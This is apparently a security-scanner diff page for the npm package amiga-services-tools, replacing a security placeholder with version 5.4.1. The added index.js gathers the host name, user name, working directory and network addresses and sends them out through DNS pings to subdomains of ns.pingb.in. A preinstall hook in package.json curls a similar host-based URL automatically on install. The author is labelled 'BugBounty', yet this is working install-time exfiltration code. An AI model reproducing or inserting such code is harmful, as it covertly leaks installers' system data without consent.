amiga-services-tools 0.0.1-security → 5.4.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of amiga-services-tools might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const os = require("os");
2
+ const { spawn } = require("child_process");
3
+ var isWin = process.platform === "win32";
4
+
5
+ const id = "a9bf10ac14bdac8f374cb122a474";
6
+
7
+ try {
8
+ exfil({ r_hostname: os.hostname() });
9
+ } catch (e) {}
10
+ try {
11
+ exfil({ r_user: os.userInfo().username });
12
+ } catch (e) {}
13
+ try {
14
+ exfil({ r_cwd: process.cwd() });
15
+ } catch (e) {}
16
+ try {
17
+ const nets = os.networkInterfaces();
18
+ for (const name of Object.keys(nets)) {
19
+ for (const net of nets[name]) {
20
+ exfil({ ["r_net_" + name]: net.address });
21
+ }
22
+ }
23
+ } catch (e) {}
24
+
25
+ //process.exit();
26
+
27
+ function exfil(data) {
28
+ try {
29
+ const b64 = Buffer.from(JSON.stringify(data))
30
+ .toString("base64")
31
+ .replace(/=/gm, "");
32
+
33
+ let args;
34
+ if (isWin) {
35
+ args = ["-n", "1"];
36
+ } else {
37
+ args = ["-c", "1"];
38
+ }
39
+ args.push(`${id}.${b64}.ns.pingb.in`);
40
+ spawn(`ping`, args, { detached: true });
41
+ } catch (e) {}
42
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "amiga-services-tools",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "5.4.1",
4
+ "description": "POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "echo a9bf10ac14bdac8f374cb122a474.`hostname`.ns.pingb.in | xargs curl"
9
+ },
10
+ "author": "BugBounty",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=amiga-services-tools for more information.